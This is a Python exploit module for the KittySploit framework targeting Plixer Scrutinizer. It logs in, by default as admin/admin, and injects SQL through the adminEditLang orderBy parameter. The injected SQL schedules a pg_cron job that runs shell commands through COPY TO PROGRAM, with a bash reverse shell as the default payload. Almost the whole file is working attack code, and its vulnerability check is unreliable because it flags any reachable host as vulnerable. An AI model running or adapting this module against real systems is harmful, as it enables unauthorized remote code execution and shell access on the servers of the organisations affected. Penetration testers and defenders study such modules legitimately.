Plixer Scrutinizer adminEditLang SQLi pg_cron RCE

"""Plixer Scrutinizer adminEditLang ORDER BY SQLi to pg_cron RCE."""
from __future__ import annotations
import re
import time
from urllib.parse import urlencode
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client, Handler):
    __info__ = {'name': 'Plixer Scrutinizer adminEditLang SQLi pg_cron RCE', 'description': 'Authenticated adminEditLang orderBy SQL injection schedules cron.schedule_in_database COPY TO PROGRAM (PostgreSQL/pg_cron).', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['plixer', 'scrutinizer', 'sqli', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 4, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/plixer_admineditlang_sqli_rce_detect']}}}
    _JOB_NAME = 'plixer_pwn_audit'
    _FCGI = '/fcgi/scrut_fcgi.fcgi'
    port = OptPort(443, 'Scrutinizer HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=True)
    username = OptString('admin', 'FCGI auth username', required=False)
    password = OptString('admin', 'FCGI auth password', required=False)
    cron_job_name = OptString(_JOB_NAME, 'pg_cron job name', required=False)
    wait_seconds = OptInteger(75, 'Seconds to wait for pg_cron tick', required=False)

    def _login(self) -> tuple[str, str, str] | None:
        body = urlencode({'rm': 'auth2', 'name': str(self.username or 'admin'), 'pwd': str(self.password or 'admin')})
        resp = self.http_request('POST', self._FCGI, data=body, headers={'Content-Type': 'application/x-www-form-urlencoded'}, session=True)
        if not resp:
            return None
        text = resp.text or ''
        sessionid = userid = csrf = None
        jar = getattr(self.session, 'cookies', None)
        if jar is not None:
            sessionid = jar.get('sessionid')
            userid = jar.get('userid')
        m = re.search('"csrfToken"\\s*:\\s*"([A-Za-z0-9]+)"', text)
        if m:
            csrf = m.group(1)
        if not sessionid:
            m2 = re.search('"sessionid"\\s*:\\s*"([A-Za-z0-9]+)"', text)
            sessionid = m2.group(1) if m2 else None
        if not userid:
            m3 = re.search('"userid"\\s*:\\s*"?([0-9]+)"?', text)
            userid = m3.group(1) if m3 else '1'
        if not sessionid or not csrf:
            return None
        return (str(sessionid), str(userid), str(csrf))

    def _sqli(self, orderby: str, sessionid: str, userid: str, csrf: str) -> int:
        data = urlencode({'rm': 'adminLegacy', 'action': 'adminEditLang', 'operation': 'init', 'orderBy': orderby, 'page': '0', 'step': '2'})
        resp = self.http_request('POST', self._FCGI, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded', 'X-CSRF-Token': csrf, 'Cookie': f'userid={userid}; sessionid={sessionid}'})
        return int(getattr(resp, 'status_code', 0) or 0) if resp else 0

    def execute(self, cmd: str) -> str:
        auth = self._login()
        if not auth:
            return 'login failed — check admin credentials'
        sessionid, userid, csrf = auth
        job = str(self.cron_job_name or self._JOB_NAME)
        try:
            self._sqli(f"(SELECT cron.unschedule('{job}'))", sessionid, userid, csrf)
        except Exception:
            pass
        cmd_sql = cmd.replace("'", "''")
        orderby = f"(SELECT cron.schedule_in_database('{job}','* * * * *','COPY (SELECT 1) TO PROGRAM ''{cmd_sql}''','plixer','plixer',true))"
        code = self._sqli(orderby, sessionid, userid, csrf)
        if code != 200:
            return f'SQLi inject HTTP {code}'
        wait = int(self.wait_seconds or 75)
        print_info(f'Waiting {wait}s for pg_cron worker…')
        time.sleep(wait)
        return f"pg_cron job '{job}' scheduled; command dispatched (async): {cmd}"

    def check(self):
        resp = self.http_request('GET', self._FCGI)
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'Scrutinizer FCGI reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'FCGI not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('adminEditLang → pg_cron COPY TO PROGRAM')
        print_info(self.execute(shell))
        self.vulnerable()
        blind = bool(re.search('reverse|bash|/dev/tcp|nc ', shell, re.I))
        return True if blind else True